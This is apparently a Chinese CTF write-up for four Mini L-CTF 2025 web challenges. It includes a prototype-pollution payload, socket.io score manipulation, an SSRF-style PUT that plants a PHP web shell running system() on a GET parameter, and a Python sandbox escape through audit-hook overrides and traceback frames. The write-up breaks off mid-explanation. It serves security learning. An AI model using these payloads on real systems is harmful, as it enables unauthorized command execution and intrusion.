Mini L-CTF2025 Web复现

好多游戏题,JS和 JAVA啊,一个不会啊,虽然那题Python也不太会(),美美Web爆零,但是做出来一道MISC的JS游戏题,就有点离谱….

Click and Click

一进来是个按钮,要求点到10000次,手点肯定不可能,直接看JS源码,拉到最下面可以发现关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
function wn(t, e) {
ce(e, !1);
const r = "/update-amount";
let n = Wr(e, "count", 12);
Jr();
var s = mn();
s.__click = [yn, n, r];
var o = Pt(s);
Tr( () => $r(o, `count is ${n() ?? ""}`)),
ct(t, s),
he()
}
Br(["click"]);
var gn = Tt("<p>什么叫“前后端分离”啊?(战术后仰)</p>")
, bn = Tt("<pre></pre>")
, En = Tt('<main><h1>Click and Click</h1> <div class="card"><!></div> <p>Click 10000 times, and something appear.</p> <!> <!></main>');
function Rn(t) {
let e = F(0);
var r = En()
, n = qt(Pt(r), 2)
, s = Pt(n);
wn(s, {
get count() {
return w(e)
},
set count(i) {
O(e, i, !0)
}
});
var o = qt(n, 4);
{
var l = i => {
var h = gn();
ct(i, h)
}
;
Qt(o, i => {
w(e) >= 1e3 && i(l)
}
)
}
var u = qt(o, 2);
{
var a = i => {
var h = bn();
h.textContent = `
if ( req.body.point.amount == 0 || req.body.point.amount == null) { delete req.body.point.amount }
`,
ct(i, h)
}
;
Qt(u, i => {
w(e) >= 1e4 && i(a)
}
)
}
ct(t, r)
}
Vr(Rn, {
target: document.getElementById("app")
});

但其实不用看上下文,这段看不懂也没关系,可以看到:

1
2
3
4
5
6
7
Qt(o, i => {
w(e) >= 1e3 && i(l)
}

h.textContent = `
if ( req.body.point.amount == 0 || req.body.point.amount == null) { delete req.body.point.amount }
`,

就能知道10000次以后会输出textContent的内容(实在不行也可以直接丢个AI的,试过是可以分析出来10000次后面输出这个的)

然后看到:

1
2
3
4
5
6
7
8
9
10
11
12
function wn(t, e) {
ce(e, !1);
const r = "/update-amount";
let n = Wr(e, "count", 12);
Jr();
var s = mn();
s.__click = [yn, n, r];
var o = Pt(s);
Tr( () => $r(o, `count is ${n() ?? ""}`)),
ct(t, s),
he()
}

这里每点击50次会向/update-amount发一次包,更新后端数据,而且这里更新不是add而是set,又结合 if ( req.body.point.amount == 0 || req.body.point.amount == null) { delete req.body.point.amount },可以看到amount一开始就是0或者是已经被删除了,而且这个路径看起来很像原型链污染,那么想要改变他的值可以尝试污染amount的值,让他变成10000

那么怎么知道原链呢,看看事件监听器那边的click(我也是才知道能看这个)

那么payload就很清楚了:

1
2
3
4
5
6
7
8
{
"type":"set",
"point": {
"__proto__": {
"amount": "10000"
}
}
}

GuessOneGuess

是一道纯JS题目,但是当时试的时候脚本一直跑不出来啊

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
module.exports = function(io) {
io.on('connection', (socket) => {
let targetNumber = Math.floor(Math.random() * 100) + 1;
let guessCount = 0;
let totalScore = 0;
const FLAG = process.env.FLAG || "miniL{THIS_IS_THE_FLAG}";
console.log(`新连接 - 目标数字: ${targetNumber}`);


socket.emit('game-message', {
type: 'welcome',
message: '猜一个1-100之间的数字!',
score: totalScore
});


socket.on('guess', (data) => {
try {
console.log(totalScore);
const guess = parseInt(data.value);

if (isNaN(guess)) {
throw new Error('请输入有效数字');
}

if (guess < 1 || guess > 100) {
throw new Error('请输入1-100之间的数字');
}

guessCount++;

if (guess === targetNumber) {

const currentScore = Math.floor(100 / Math.pow(2, guessCount - 1));
totalScore += currentScore;

let message = `🎉 猜对了!得分 +${currentScore} (总分数: ${totalScore})`;
let showFlag = false;

if (totalScore > 1.7976931348623157e308) {
message += `\n🏴 ${FLAG}`;
showFlag = true;
}

socket.emit('game-message', {
type: 'result',
win: true,
message: message,
score: totalScore,
showFlag: showFlag,
currentScore: currentScore
});


targetNumber = Math.floor(Math.random() * 100) + 1;
console.log(`新目标数字: ${targetNumber}`);
guessCount = 0;
} else {
if (guessCount >= 100) {
console.log("100次未猜中!将扣除当前分数并重置");
socket.emit('punishment', {
message: "100次未猜中!将扣除当前分数并重置",
});
return;
}
socket.emit('game-message', {
type: 'result',
win: false,
message: guess < targetNumber ? '太小了!' : '太大了!',
score: totalScore
});
}
} catch (err) {
socket.emit('game-message', {
type: 'error',
message: err.message,
score: totalScore
});
}
});
socket.on('punishment-response', (data) => {
totalScore -= data.score;
guessCount = 0;
targetNumber = Math.floor(Math.random() * 100) + 1;
console.log(`新目标数字: ${targetNumber}`);
socket.emit('game-message', {
type: 'result',
win: true,
message: "扣除分数并重置",
score: totalScore,
showFlag: false,
});

});
});
};

源码的意思倒是很简单,就是让你猜数字,然后有一套自己的分数计算规则,最后总分大于1.7976931348623157e308就给flag,一看就不可能达成,所以接着往下看:

1
2
3
4
5
6
7
8
9
10
11
12
socket.on('punishment-response', (data) => {
totalScore -= data.score;
guessCount = 0;
targetNumber = Math.floor(Math.random() * 100) + 1;
console.log(`新目标数字: ${targetNumber}`);
socket.emit('game-message', {
type: 'result',
win: true,
message: "扣除分数并重置",
score: totalScore,
showFlag: false,
});

这段告诉我们如果触发了惩罚机制,就会扣除当前的分数并重置,而触发惩罚机制的条件是:

1
2
if (guessCount >= 100) {
console.log("100次未猜中!将扣除当前分数并重置");

也就是猜错的次数 >=100,因为正常猜的话是不可能总分这么高的,那么我们可以利用惩罚机制,在第99次的时候将自己的分数通过控制器设置成为负的正无穷,然后再触发100次的惩罚机制,就可以让自己的分数变成正无穷。

那么有人会问了,为什么不可以直接控制台设置成为正无穷呢,因为你猜对了分数会被直接覆盖掉的,所以不行。

那么思路有了,就是实践,回到前端源代码部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88

<!DOCTYPE html><html><head><title>猜数字游戏</title><script src="/socket.io/socket.io.js"></script><style>body { font-family: Arial, sans-serif; max-width: 600px; margin: 0 auto; padding: 20px; }
#game-area { margin-top: 30px; }
#result, #status { min-height: 24px; padding: 10px; margin: 10px 0; }
#status { background: #f0f0f0; }
#guess-input { padding: 8px; width: 100px; }
#guess-btn { padding: 8px 16px; }
</style></head><body><h1>猜数字游戏 (1-100)</h1><div id="game-area"><div id="score-container" style="margin-bottom: 10px; font-weight: bold; font-size: 1.2em">当前分数:<span id="score-display">0</span></div><input type="number" id="guess-input" min="1" max="100" placeholder="输入数字"><button id="guess-btn">猜!</button><div id="status">正在连接游戏服务器...</div><div id="result"></div><div id="flag-display" style="color: red; font-weight: bold; margin-top: 20px; display: none"></div></div><script>document.addEventListener('DOMContentLoaded', () => {
const resultDiv = document.getElementById('result');
const statusDiv = document.getElementById('status');
const guessBtn = document.getElementById('guess-btn');
const guessInput = document.getElementById('guess-input');
const scoreDisplay = document.getElementById('score-display');
const flagDisplay = document.getElementById('flag-display');

// 初始化Socket连接
const socket = io();

// 连接状态
socket.on('connect', () => {
statusDiv.textContent = "已连接到游戏服务器!";
guessBtn.disabled = false;
});

socket.on('disconnect', () => {
statusDiv.textContent = "与服务器断开连接";
guessBtn.disabled = true;
});

// 处理游戏消息
socket.on('game-message', (data) => {
// 更新分数显示
if(data.score !== undefined) {
scoreDisplay.textContent = data.score;
}

switch(data.type) {
case 'welcome':
resultDiv.innerHTML = `<span style="color:blue">${data.message}</span>`;
break;
case 'result':
resultDiv.innerHTML = data.win
? `<span style="color:green">${data.message}</span>`
: `<span>${data.message}</span>`;

if(data.win) {
guessInput.disabled = true;
guessBtn.disabled = true;

// 延迟后重置输入
setTimeout(() => {
guessInput.disabled = false;
guessBtn.disabled = false;
guessInput.value = '';
guessInput.focus();
}, 1500);

// 显示FLAG
if(data.showFlag) {
flagDisplay.style.display = 'block';
flagDisplay.textContent = data.message.split('\n')[1]; // 提取FLAG部分
}
}
break;
case 'error':
resultDiv.innerHTML = `<span style="color:red">错误: ${data.message}</span>`;
break;
}
});
socket.on("punishment", (data) => {
socket.emit("punishment-response", { score: scoreDisplay.textContent} );
})

// 按钮事件
guessBtn.addEventListener('click', () => {
if(!guessInput.value) {
resultDiv.innerHTML = '<span style="color:red">请输入数字</span>';
return;
}
socket.emit('guess', { value: guessInput.value });
guessInput.value = '';
});

// 回车键支持
guessInput.addEventListener('keypress', (e) => {
if(e.key === 'Enter') guessBtn.click();
});
});</script></body></html>

里面有一段:

1
2
3
4
5
socket.on("punishment", (data) => {
socket.emit("punishment-response", { score: scoreDisplay.textContent} );
})

const scoreDisplay = document.getElementById('score-display');

那么我们的payloay可以是:

1
document.getElementById('score-display').textContent = -Infinity;

但是注意:

Socket.IO 在传输数据时使用的是 JSON 序列化。如果值是 Infinity-InfinityNaN,这些是 不能被 JSON 表示的,会被序列化成 null

官方给的是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
socket = io();
//socket.emit('punishment-response', {
// score: "-Infinity"
//});或者下面的
socket.emit('punishment-response', {
score: -1e308
});
socket.emit('punishment-response', {
score: -1e308
});
//猜对这里可二分法猜,手试二分法也ok,其实for循环爆也型
for(var i=0;i<100;i++)
socket.emit('guess', {
value: i
});
socket.on(
'game-message',
(data) => {
console.log(data.message);
});

塞控制台运行,但我好像出不来???

而且最开始payload我看有人是成功的了:

image-20250501212243603

二编:5.12

game.pug 中可以看到接收到 punishment 事件后发出 punishment-response

1
2
3
socket.on("punishment", (data) => {
socket.emit("punishment-response", { score: scoreDisplay.textContent} );
})

这里我们创建一个新的socket会话,然后在控制台继续猜即可(不能在网页猜,因为不是同一个会话)

控制台输入:

1
const socket = io();socket.emit("punishment-response", { score: -1.7976931348623157e308} );socket.emit("punishment-response", { score: -1.7976931348623157e308} );

game.pug 中发出 guess 事件是这样:socket.emit('guess', { value: guessInput.value });,所以在控制台猜数也是这样执行,为了方便查看响应,先执行:

1
socket.on('game-message', (data) => { console.log(data) })

然后就猜:

1
socket.emit('guess', { value: 50 });

miniLCTF{yOu_Won_The-guEs5iNg_GAmE-WoOc9d88b0}

Miniup

欸当时以为是图片二次渲染传马就试了一下,结果发现页面根本不能下载图片,然后没啥源码,就放弃了,还是菜啊…….

经验:这种类似文件上传的题目以后还是要看图片保存逻辑啊(之前的ACTF2025那题upload也是这样….)

先简单上传一个图片看看储存方式:

可以看到是对图片进行base64编码,那我们试试直接对index.php进行图片查看,发现成功读取:

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
<?php
$dufs_host = '127.0.0.1';
$dufs_port = '5000';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'upload') {
if (isset($_FILES['file'])) {
$file = $_FILES['file'];

$filename = $file['name'];

$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'];

$file_extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

if (!in_array($file_extension, $allowed_extensions)) {
echo json_encode(['success' => false, 'message' => '只允许上传图片文件']);
exit;
}

$target_url = 'http://' . $dufs_host . ':' . $dufs_port . '/' . rawurlencode($filename);

$file_content = file_get_contents($file['tmp_name']);

$ch = curl_init($target_url);

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
curl_setopt($ch, CURLOPT_POSTFIELDS, $file_content);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Host: ' . $dufs_host . ':' . $dufs_port,
'Origin: http://' . $dufs_host . ':' . $dufs_port,
'Referer: http://' . $dufs_host . ':' . $dufs_port . '/',
'Accept-Encoding: gzip, deflate',
'Accept: */*',
'Accept-Language: en,zh-CN;q=0.9,zh;q=0.8',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
'Content-Length: ' . strlen($file_content)
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

curl_close($ch);

if ($http_code >= 200 && $http_code < 300) {
echo json_encode(['success' => true, 'message' => '图片上传成功']);
} else {
echo json_encode(['success' => false, 'message' => '图片上传失败,请稍后再试']);
}

exit;
} else {
echo json_encode(['success' => false, 'message' => '未选择图片']);
exit;
}
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'search') {
if (isset($_POST['query']) && !empty($_POST['query'])) {
$search_query = $_POST['query'];

if (!ctype_alnum($search_query)) {
echo json_encode(['success' => false, 'message' => '只允许输入数字和字母']);
exit;
}

$search_url = 'http://' . $dufs_host . ':' . $dufs_port . '/?q=' . urlencode($search_query) . '&json';

$ch = curl_init($search_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Host: ' . $dufs_host . ':' . $dufs_port,
'Accept: */*',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36'
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code >= 200 && $http_code < 300) {
$response_data = json_decode($response, true);
if (isset($response_data['paths']) && is_array($response_data['paths'])) {
$image_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'];

$filtered_paths = [];
foreach ($response_data['paths'] as $item) {
$file_name = $item['name'];
$extension = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));

if (in_array($extension, $image_extensions) || ($item['path_type'] === 'Directory')) {
$filtered_paths[] = $item;
}
}

$response_data['paths'] = $filtered_paths;

echo json_encode(['success' => true, 'result' => json_encode($response_data)]);
} else {
echo json_encode(['success' => true, 'result' => $response]);
}
} else {
echo json_encode(['success' => false, 'message' => '搜索失败,请稍后再试']);
}

exit;
} else {
echo json_encode(['success' => false, 'message' => '请输入搜索关键词']);
exit;
}
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'view') {
if (isset($_POST['filename']) && !empty($_POST['filename'])) {
$filename = $_POST['filename'];

$file_content = @file_get_contents($filename, false, @stream_context_create($_POST['options']));

if ($file_content !== false) {
$base64_image = base64_encode($file_content);
$mime_type = 'image/jpeg';

echo json_encode([
'success' => true,
'is_image' => true,
'base64_data' => 'data:' . $mime_type . ';base64,' . $base64_image
]);
} else {
echo json_encode(['success' => false, 'message' => '无法获取图片']);
}

exit;
} else {
echo json_encode(['success' => false, 'message' => '请输入图片路径']);
exit;
}
}
?>

<!DOCTYPE html>
<html>
<head>
<title>迷你图片空间</title>
<meta charset="UTF-8">
<style>
body {
font-family: Arial, sans-serif;
max-width: 800px;
margin: 0 auto;
padding: 20px;
background-color: #f0f8ff;
}
.section {
margin-bottom: 30px;
padding: 15px;
border: 1px solid #add8e6;
border-radius: 5px;
background-color: white;
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
}
h2 {
margin-top: 0;
color: #4682b4;
}
.form-group {
margin-bottom: 15px;
}
label {
display: block;
margin-bottom: 5px;
font-weight: bold;
color: #4682b4;
}
input[type="text"], input[type="file"] {
width: 100%;
padding: 8px;
box-sizing: border-box;
border: 1px solid #add8e6;
border-radius: 4px;
}
button {
padding: 10px 15px;
background-color: #4682b4;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
}
button:hover {
background-color: #5f9ea0;
}
.result {
margin-top: 15px;
padding: 10px;
border: 1px solid #add8e6;
border-radius: 4px;
background-color: #f0f8ff;
display: none;
}
pre {
white-space: pre-wrap;
word-wrap: break-word;
background-color: #f5f5f5;
padding: 10px;
border-radius: 4px;
max-height: 300px;
overflow-y: auto;
}
</style>
</head>
<body>
<h1>迷你图片空间</h1>

<div class="section">
<h2>上传图片</h2>
<form id="uploadForm" enctype="multipart/form-data">
<input type="hidden" name="action" value="upload">
<div class="form-group">
<label for="file">选择图片:</label>
<input type="file" id="file" name="file" required>
<small>支持所有类型的图片</small>
</div>
<button type="submit">上传图片</button>
</form>
<div id="uploadResult" class="result"></div>
</div>

<div class="section">
<h2>搜索图片</h2>
<form id="searchForm">
<input type="hidden" name="action" value="search">
<div class="form-group">
<label for="query">搜索关键词:</label>
<input type="text" id="query" name="query" required
pattern="[a-zA-Z0-9]+"
title="只允许输入数字和字母"
placeholder="输入图片关键词(仅限数字和字母)">
</div>
<button type="submit">搜索</button>
</form>
<div id="searchResult" class="result">
<h3>搜索结果:</h3>
<div id="searchResultContent"></div>
</div>
</div>

<div class="section">
<h2>查看图片</h2>
<form id="viewForm">
<input type="hidden" name="action" value="view">
<div class="form-group">
<label for="filename">图片路径:</label>
<input type="text" id="filename" name="filename" required placeholder="输入图片路径">
</div>
<button type="submit">查看图片</button>
</form>
<div id="viewResult" class="result">
<h3>图片预览:</h3>
<div id="fileContent"></div>
</div>
</div>

<script>
document.getElementById('uploadForm').addEventListener('submit', function(e) {
e.preventDefault();

var formData = new FormData(this);

fetch('index.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
var resultDiv = document.getElementById('uploadResult');
resultDiv.style.display = 'block';
resultDiv.innerHTML = data.message;
resultDiv.style.color = data.success ? 'green' : 'red';
})
.catch(error => {
var resultDiv = document.getElementById('uploadResult');
resultDiv.style.display = 'block';
resultDiv.innerHTML = '上传过程中发生错误';
resultDiv.style.color = 'red';
});
});

document.getElementById('searchForm').addEventListener('submit', function(e) {
e.preventDefault();

var searchQuery = document.getElementById('query').value;

var alphanumericRegex = /^[a-zA-Z0-9]+$/;
if (!alphanumericRegex.test(searchQuery)) {
var resultDiv = document.getElementById('searchResult');
resultDiv.style.display = 'block';
document.getElementById('searchResultContent').innerHTML = '<p style="color: red;">只允许输入数字和字母</p>';
return;
}

var formData = new FormData(this);

fetch('index.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
var resultDiv = document.getElementById('searchResult');
resultDiv.style.display = 'block';

if (data.success) {
try {
var jsonData = JSON.parse(data.result);

if (jsonData.paths && jsonData.paths.length > 0) {
var resultHtml = '<table style="width:100%; border-collapse: collapse;">';
resultHtml += '<thead><tr style="background-color: #f2f2f2;">';
resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">名称</th>';
resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">修改时间</th>';
resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">大小</th>';
resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">操作</th>';
resultHtml += '</tr></thead><tbody>';

jsonData.paths.forEach(function(item) {
var date = new Date(item.mtime);
var formattedDate = date.toLocaleString();
var fileSize = formatFileSize(item.size);

resultHtml += '<tr style="border: 1px solid #ddd;">';
resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">' + item.name + '</td>';
resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">' + formattedDate + '</td>';
resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">' + fileSize + '</td>';
resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">';
resultHtml += '<button onclick="viewFile(\'' + item.name + '\')" style="margin-right: 5px;">查看</button>';
resultHtml += '</td></tr>';
});

resultHtml += '</tbody></table>';
document.getElementById('searchResultContent').innerHTML = resultHtml;
} else {
document.getElementById('searchResultContent').innerHTML = '<p>没有找到匹配的图片</p>';
}
} catch (e) {
document.getElementById('searchResultContent').innerHTML = '<p>解析结果时出错</p>';
}
} else {
document.getElementById('searchResultContent').innerHTML = '<p>错误: ' + data.message + '</p>';
}
})
.catch(error => {
var resultDiv = document.getElementById('searchResult');
resultDiv.style.display = 'block';
document.getElementById('searchResultContent').innerHTML = '<p>搜索过程中发生错误</p>';
});
});

document.getElementById('viewForm').addEventListener('submit', function(e) {
e.preventDefault();

var formData = new FormData(this);

fetch('index.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
var resultDiv = document.getElementById('viewResult');
resultDiv.style.display = 'block';

if (data.success) {
var fileContentDiv = document.getElementById('fileContent');
fileContentDiv.textContent = '';

var img = document.createElement('img');
img.src = data.base64_data;
img.style.maxWidth = '100%';
img.style.display = 'block';
img.style.margin = '0 auto';
fileContentDiv.appendChild(img);
} else {
document.getElementById('fileContent').textContent = '错误: ' + data.message;
}
})
.catch(error => {
console.error('错误:', error);
var resultDiv = document.getElementById('viewResult');
resultDiv.style.display = 'block';
document.getElementById('fileContent').textContent = '获取图片时发生错误';
});
});

function formatFileSize(bytes) {
if (bytes === 0) return '0 B';

const k = 1024;
const sizes = ['B', 'KB', 'MB', 'GB', 'TB'];
const i = Math.floor(Math.log(bytes) / Math.log(k));

return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i];
}

function viewFile(filename) {
document.getElementById('filename').value = filename;
document.getElementById('viewForm').dispatchEvent(new Event('submit'));
}
</script>
</body>
</html>

这里对文件上传的管理非常严格,就可以基本放弃文件上传这一条路,然后这里的话我们可以打一个内存马(无文件传马,主要逻辑就是注册一层访问路由,访问者通过这层路由,来执行我们控制器中的代码),看这边的文件创建逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$target_url = 'http://' . $dufs_host . ':' . $dufs_port . '/' . rawurlencode($filename);

$file_content = file_get_contents($file['tmp_name']);

$ch = curl_init($target_url);

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
curl_setopt($ch, CURLOPT_POSTFIELDS, $file_content);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Host: ' . $dufs_host . ':' . $dufs_port,
'Origin: http://' . $dufs_host . ':' . $dufs_port,
'Referer: http://' . $dufs_host . ':' . $dufs_port . '/',
'Accept-Encoding: gzip, deflate',
'Accept: */*',
'Accept-Language: en,zh-CN;q=0.9,zh;q=0.8',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
'Content-Length: ' . strlen($file_content)
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

curl_close($ch);

这边是用PUT方法请求127.0.0.1:5000/filename,然后这个filename就是你创建文件的名字,然后我们再看到查看图片这边的逻辑:

1
2
3
4
5
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'view') {
if (isset($_POST['filename']) && !empty($_POST['filename'])) {
$filename = $_POST['filename'];

$file_content = @file_get_contents($filename, false, @stream_context_create($_POST['options']));

我们注意到有个@stream_context_create()

对于这个函数:

1
2
3
4
5
6
7
8
9
10
11
12
$options = [
'http' => [
'method' => 'GET',
'header' => "User-Agent: PHP\r\n",
'timeout' => 30
]
];

$context = stream_context_create($options);

// 使用上下文打开网页并获取内容
$content = file_get_contents('https://www.example.com', false, $context);

在这个例子中,stream_context_create 创建了一个用于 HTTP 协议的上下文,设置了请求方法为 GET、添加了用户代理头,并设置了超时时间为 30 秒。然后使用 file_get_contents 函数和这个上下文来获取网页的内容。

那我们就可以利用这个函数,POST传入options[http][method]=PUT&&options[http][content]=<?php system($_GET['a']);?>来实现内存马

综合payload:(POST传入)

1
action=view&filename=127.0.0.1:5000/shell.php&options[http][method]=PUT&&options[http][content]=<?php system($_GET['a']);?>

然后GET传入?a=env即可

miniLCTF{Wow_1TS_N0t_5e1f-DEvEIoP3D-4Nd-H45-vUIn3r@Bi11ties!0}

PyBox

进去直接给源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from flask import Flask, request, Response
import multiprocessing
import sys
import io
import ast

app = Flask(__name__)

class SandboxVisitor(ast.NodeVisitor):
forbidden_attrs = {
"__class__", "__dict__", "__bases__", "__mro__", "__subclasses__",
"__globals__", "__code__", "__closure__", "__func__", "__self__",
"__module__", "__import__", "__builtins__", "__base__"
}
def visit_Attribute(self, node):
if isinstance(node.attr, str) and node.attr in self.forbidden_attrs:
raise ValueError
self.generic_visit(node)
def visit_GeneratorExp(self, node):
raise ValueError
def sandbox_executor(code, result_queue):
safe_builtins = {
"print": print,
"filter": filter,
"list": list,
"len": len,
"addaudithook": sys.addaudithook,
"Exception": Exception
}
safe_globals = {"__builtins__": safe_builtins}

sys.stdout = io.StringIO()
sys.stderr = io.StringIO()

try:
exec(code, safe_globals)
output = sys.stdout.getvalue()
error = sys.stderr.getvalue()
result_queue.put(("ok", output or error))
except Exception as e:
result_queue.put(("err", str(e)))

def safe_exec(code: str, timeout=1):
code = code.encode().decode('unicode_escape')
tree = ast.parse(code)
SandboxVisitor().visit(tree)
result_queue = multiprocessing.Queue()
p = multiprocessing.Process(target=sandbox_executor, args=(code, result_queue))
p.start()
p.join(timeout=timeout)

if p.is_alive():
p.terminate()
return "Timeout: code took too long to run."

try:
status, output = result_queue.get_nowait()
return output if status == "ok" else f"Error: {output}"
except:
return "Error: no output from sandbox."

CODE = """
def my_audit_checker(event,args):
allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"]
if not list(filter(lambda x: event == x, allowed_events)):
raise Exception
if len(args) > 0:
raise Exception

addaudithook(my_audit_checker)
print("{}")

"""
badchars = "\"'|&`+-*/()[]{}_."

@app.route('/')
def index():
return open(__file__, 'r').read()

@app.route('/execute',methods=['POST'])
def execute():
text = request.form['text']
for char in badchars:
if char in text:
return Response("Error", status=400)
output=safe_exec(CODE.format(text))
if len(output)>5:
return Response("Error", status=400)
return Response(output, status=200)


if __name__ == '__main__':
app.run(host='0.0.0.0')

很明显这边过滤了一些字符:

1
\"'|&`+-*/()[]{}_.

然后/execute路由这边,有个CODE.format(text),再看code方法:

1
2
3
4
5
6
7
8
9
10
11
12
CODE = """
def my_audit_checker(event,args):
allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"]
if not list(filter(lambda x: event == x, allowed_events)):
raise Exception
if len(args) > 0:
raise Exception

addaudithook(my_audit_checker)
print("{}")

"""

就是将{}替换为Text,就变成print(text)

这样的话可以闭合左右两边,在中间插入代码

比如 :

1
2
3
text=")
print("hello world") #要执行的代码夹在中间
print("

这样的话源代码就变成:

1
2
3
print("")
print("hello world")
print("")

中间的代码就被成功执行了

懂了该怎么执行之后,就要先绕 badchars = “"‘|&`+-*/()[]{}_.”

我们看到

1
2
def safe_exec(code: str, timeout=1):
code = code.encode().decode('unicode_escape')

会解析unicode编码,所以我们只需要把text的内容编码一下就好了

接着看审计钩子:

1
2
3
4
5
6
def my_audit_checker(event,args):
allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"]
if not list(filter(lambda x: event == x, allowed_events)):
raise Exception
if len(args) > 0:
raise Exception

这里限制了list和len,那么绕过方式直接重写list和len就行(lambda)

PyJail覆篡改内置函数操作绕Audit Hook-先知社区

然后就是ast的绕过,禁止了生成器与一些魔术属性与方法,然后就不能生成器栈帧逃逸,继承链应该也不太行的通

提升跟Exception有关,这边可以用异常栈帧逃逸

Python利用栈帧沙箱逃逸-先知社区

1
2
3
4
5
try:
1/0
except Exception as e:
frame = e.__traceback__.tb_frame.f_back
builtins = frame.f_globals['__builtins__']

e.__traceback__ → 指向异常发生时的 traceback 对象

